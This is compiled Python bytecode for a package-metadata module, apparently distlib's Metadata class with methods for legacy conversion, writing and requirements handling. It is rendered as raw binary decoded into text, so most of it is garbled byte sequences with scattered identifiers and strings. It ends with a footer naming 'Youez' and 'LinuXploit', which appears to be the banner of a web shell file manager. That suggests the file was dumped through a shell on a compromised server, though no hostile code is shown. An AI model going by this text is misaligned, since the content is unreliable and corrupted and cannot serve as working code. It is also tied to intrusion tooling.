zMetadata.validatecCs(|jr|jjd�St|j|j�}|SdS)NT)r�r�rr�
INDEX_KEYS)r|rrrrr��szMetadata.todictc
Cs�|jr|jst�|j|jd�}|jjd�}x2dD]*}||kr2|dkrLd	}n|}||||<q2W|jd
g�}|dgkrzg}||d<d}x2|D]*\}}||kr�||r�d||ig||<q�W|j|d<i}i}	|S)N)rQrTrRr>r\rTrUr]r�r"�rVrarrbrrerf)rRr>r\rTrUr]�rar�rbr)r?r@)r�r�AssertionErrorrrr�r�rf)
r|rZlmdr��nk�kwr@�okrXrZrrrr8�s0


zMetadata._from_legacyrrr&r r!)rRr>r\rTrUr�cCs�dd�}|jr|jst�t�}|j}x*|jj�D]\}}||kr2||||<q2W||j|j�}||j|j	�}|j
r�t|j
�|d<t|�|d<t|�|d<|S)NcSs�t�}x�|D]�}|jd�}|jd�}|d}xb|D]Z}|rN|rN|j|�q2d}|r^d|}|rx|rtd||f}n|}|jdj||f��q2WqW|S)Nr-r.rer>z
extra == "%s"z(%s) and %sr�)r�r��addr�)Zentriesr5r7r-r2Zrlistr�rBrrr�process_entries�s"



z,Metadata._to_legacy.<locals>.process_entrieszProvides-Extraz
Requires-DistzSetup-Requires-Dist)rr�rArq�LEGACY_MAPPINGrErrrrr�sorted)r|rFrZnmdrBrDZr1Zr2rrr�
_to_legacy�szMetadata._to_legacyFTcCs�||gjd�dkrtd��|j�|r`|jr4|j}n|j�}|rP|j||d�q�|j||d�n^|jrp|j�}n|j}|r�t	j
||dddd�n.tj|dd��}t	j
||dddd�WdQRXdS)	Nrz)Exactly one of path and fileobj is needed)r�Trs)Zensure_ascii�indentZ	sort_keysr�zutf-8)
rtr
rr�rIr�r�r8rr�dumpr�r�)r|r}r~r�r�Z	legacy_mdr!rrrrr��s&

zMetadata.writecCs�|jr|jj|�nt|jjdg�}d}x"|D]}d|kr,d|kr,|}Pq,W|dkrhd|i}|jd|�n t|d�t|�B}t|�|d<dS)Nrr.r-rer)r�r�rr)�insertr�rH)r|r�r�always�entryZrsetrrrr�s
zMetadata.add_requirementscCs*|jpd}|jpd}d|jj|j||fS)Nz	(no name)z
no versionz<%s %s %s (%s)>)rRr>r�rrQ)r|rRr>rrrr�(s

zMetadata.__repr__)r�)r�)r�)r�)r�rrw)NNNrr)rRr>r\rVrT)rN)r
N)N)NN)NNFT)/rrrr�re�compileZMETADATA_VERSION_MATCHER�IZNAME_MATCHERrZVERSION_MATCHERZSUMMARY_MATCHERrrrr<r=r:r"�	__slots__r�r�rr�Z	none_list�dictZ	none_dictrrr'r*�propertyr+rf�setterr4r9r;rrr�r8rGrIr�r�r�rrrrrvsx


,+

'
*	%
)rrrrr r!r"r#r$r%r&)rrrrr'r r!r"r#r$r%r&r(r)r*r+r,)r*r+r,r(r))rrrrr'r r!r"r#r$r%r-r.r&r(r)r/r0r1r2r3r4)r1r2r3r/r4r-r.r0)rrrrr'r r!r"r#r$r%r-r.r&r(r)r/r0r1r2r3r4r5r6r7r8r9)r5r9r6r7r8)r2r/r1)r3)r)rr(r*r,r+r/r1r2r4r0r'r7r9r8)r0)r")r$r-r r!)F)BrZ
__future__rr�Zemailrrr�rOr>rr�compatrrr	rAr
�utilrrr>r
rZ	getLoggerrr�rrrr�__all__rrrPr�r�r:r;rIr<rJr=rKr�r�rzZEXTRA_REr?rPr�r�r�r�r�r�r�r�rr�rmrprqZMETADATA_FILENAMEZWHEEL_METADATA_FILENAMErrrrr�<module>	s�








9


	

Youez - 2016 - github.com/yon3zu
LinuXploit